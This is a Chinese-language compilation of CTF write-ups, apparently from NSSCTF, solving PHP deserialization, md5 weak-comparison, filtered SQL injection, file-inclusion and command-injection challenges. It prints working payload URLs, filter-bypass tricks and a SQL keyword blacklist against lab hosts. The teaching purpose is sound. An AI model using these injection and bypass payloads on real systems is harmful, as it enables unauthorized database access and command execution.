打开题目,存在unserialize函数,则涉及反序列化相关。
查看代码:
Happy New Year~ MAKE A WISH
';
if(isset($_GET['wish']))
{
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString()
{
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value); //发现文件包含
}
public function __invoke(){ //__invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法,调用函数
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/
进行代码分析:
分析题目给的代码:
let's get some php
一些函数补充:
is_string() 函数用于检测变量是否是字符串。
intval() 函数用于获取变量的整数值。
preg_match()正则匹配函数
分析函数:
分析完代码之后,我们一层一层进行绕过。补充知识点二:正则匹配式绕过
这里我们使用数组绕过的方式,对a进行传参:a[]=1
回显是go on,说明绕过成功。
第二层绕过,要求给b1和b2赋值。这里涉及了md5绕过。相关知识点
因此,我们post传参的值应该为:b1[]=a&b2[]=b。
注:
弱类型比较(==),只判断内容是否相等,如果是字符串类型,则转换成数值型后进行判断
强类型比较(===),判断内容的基础上,还会判断类型是否相同。
所以这里要注意b1和b2的值是同一类型。这里我们认为同时都是字母(数字也行)。
回显了yee,说明我们第二层绕过成功。
最后一个绕过,c1和c2的值不相等且c1和c2要是字符串,他们的md5值相等。这里我们可以用字符串绕过(因为这里的md5是弱等于)
常见的0e开头的字符串为:
QNKCDZO
240610708
byGcY
sonZ7y
aabg7XSs
aabC9RqS
s878926199a
s155964671a
s214587387a
s1091221200a
随便选两个赋值完事儿。
c1=QNKCDZO&c2=s878926199a
得到flag:NSSCTF{262d528e-228c-430a-9e3a-0a56e3ea5fec}
sql注入的考察,并且题目已经告诉我们参数是wllm,测试是否存在sql注入
http://1.14.71.254:28658/?wllm=1'
得到回显:
这样很难不让人用sqlmap试一下:
跑不出来,还是老老实实的用手注吧!
http://1.14.71.254:28658/?wllm=1' order by 3%23
发现有过滤,经过测试后发现是空格被过滤了,用/**/代替空格(注:网页上的注释符号建议换成%23,用#会报错或者是后面的内容注释失败)
http://1.14.71.254:28117/?wllm=1%27/**/order/**/by/**/4%23
当查询4的时候发现内容为空,所以只存在三列内容。现在来查询数据库名称:
http://1.14.71.254:28117/?wllm=-1%27/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=%27test_db%27/**/%23
发现又有某一个不知名的东西被过滤了>-<。经过测试之后发现是=被过滤了
=可以被like替代:
http://1.14.71.254:28117/?wllm=-1%27/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/%27test_db%27/**/%23
http://1.14.71.254:28117/?wllm=-1%27/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/%27LTLT_flag%27/**/%23
出现flag,访问它。
只出来一半,像这种情况我们一般用mid函数分段查询:
第一段:
http://1.14.71.254:28117/?wllm=-1%27union/**/select/**/1,mid(group_concat(id,flag),1,20),3/**/from/**/LTLT_flag%23
第二段:
http://1.14.71.254:28117/?wllm=-1%27union/**/select/**/1,mid(group_concat(id,flag),21,20),3/**/from/**/LTLT_flag%23
第三段:
http://1.14.71.254:28117/?wllm=-1%27union/**/select/**/1,mid(group_concat(id,flag),41,20),3/**/from/**/LTLT_flag%23
这道题就完成了,即可得到flag:
NSSCTF{572ef458-7d46-4bbc-b950-4316a7a71e9c}
下载附件后,打开一个名叫task.txt的文件夹。
我们就一个一个的进行解密,先解密codeA。
CodeA=Decode(友善爱国平等友善自由友善敬业爱国诚信文明诚信自由平等友善平等友善公正诚信民主友善自由友善爱国公正敬业爱国爱国诚信自由友善爱国自由诚信民主爱国诚信民主友善平等友善爱国公正敬业公正爱国法治友善爱国公正敬业爱国爱国诚信自由诚信自由平等敬业文明爱国诚信文明诚信自由爱国诚信民主富强敬业富强)
这一串就很熟悉的社会主义核心价值观,搜索解码器:
codeA=富强明主文明和谐
解密codeB:
经过查询之后,发现这个不明字符是猪圈密码:
一个一个进行比对可以得到
codeB:PIGISSOCUTEWHYYOUKILLPIG
codeC:
是brainfuck密码,用软件解码:
所以codeC:但是猪猪好好吃诶
将所有解码得到的答案整合在一起进行md5加密:
得到flag
NSSCTF{c05485d678cb8a6beb401f31d762532a}
是一道蛮难的SQL题目
只有一个登陆界面,尝试了很多的弱口令也绕不进去
查看源码:
提示访问source文件。
http://1.14.71.254:28749/?source
得到源代码:
alert('{$mes}');location.href='{$url}';");
}
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}
if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
要求我们给password赋值。并且题目也做了很多很多很多的过滤。-_-,关键代码:
if ($row['password'] === $password) {
die($FLAG);
这道题除了过滤,只有这一个要求。所以我们可以使用脚本进行爆破(参考好朋友盲注脚本):
(因为不会做所以提前看过大触师傅们的脚本发现flag不含符号或者大写字母,其他时候做题要加上不要学我)
得到password,登陆成功以后就会告诉你flag。
这道题就解出来了。不过也可以学习一下quine函数注入的方法。(感谢朋友倾情教育)
实操一下今天刚学的反序列化,先来一道题练练手。
打开题目发现什么都没有,只有一个跳舞的胡桃。习惯性的查看了一下源码,其实我也得不到什么启示。
用御剑扫描一下:
除了前端主页,还有一个robots.txt,访问一下。
给出一个新的php文件,接着访问一下:
得到源码。
发现源码的最后,存在一个unserialize函数,则这道题考察我们反序列化。要求给p赋一个值
定义了一个wllm新的类,类里面两个新的对象admin和passwd。看题目条件,如果想要得到flag,就要让对象admin的值为admin以及passwd的值为ctf。并且这个赋值过程要序列化出来,赋值给p。因此我们可以手写序列化过程代码:
得到序列化后的内容,将其赋值给p:
http://1.14.71.254:28247/cl45s.php/?p=O:4:%22wllm%22:2:{s:5:%22admin%22;s:5:%22admin%22;s:6:%22passwd%22;s:3:%22ctf%22;}
即可回显出flag的值:
得到flag。
(果真是一道很基础的反序列化,我很喜欢!)
访问题目就看到很清楚的题目要求:
第一次见json这种函数格式类型,来补充一下他的书写格式(参考博客)
以下实例演示了如何将 PHP 数组转换为 JSON 格式数据:
1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5);
echo json_encode($arr);
?>
运行结果是:{"a":1,"b":2,"c":3,"d":4,"e":5}
这里就不难看出json的编码格式和赋值方式
json_decode是对json函数编码的解码(参考博客)
大致看了一下json函数的运用,继续分析函数,id的要和wllmNB相等,同时x在json编码后的值要是wllm.到这里,上hackbar!
得到flag
wrong!
简单的md5
直接得到flag
打开题目:
马都写好了,直接连接就可以了。没啥好说的
打开题目
我传了一个flag.php,得到回显:
";
echo "";
echo "";
echo "";
echo "";
include_once($file);
?> flag 在flag.php中
但是我又传了一次flag.php,不能直接访问,所以用到了php伪协议:
base64解密:
用hackbar修改cookies的信息为:admin=1
访问rasqlghul.php文件
这里我们知道了命令执行的条件,过滤了空格,用${IFS}绕过
http://1.14.71.254:28631/rasalghul.php/?url=ls${IFS}/;
访问flllllaaaaaaggggggg 文件
http://1.14.71.254:28631/rasalghul.php/?url=cat${IFS}/flllllaaaaaaggggggg;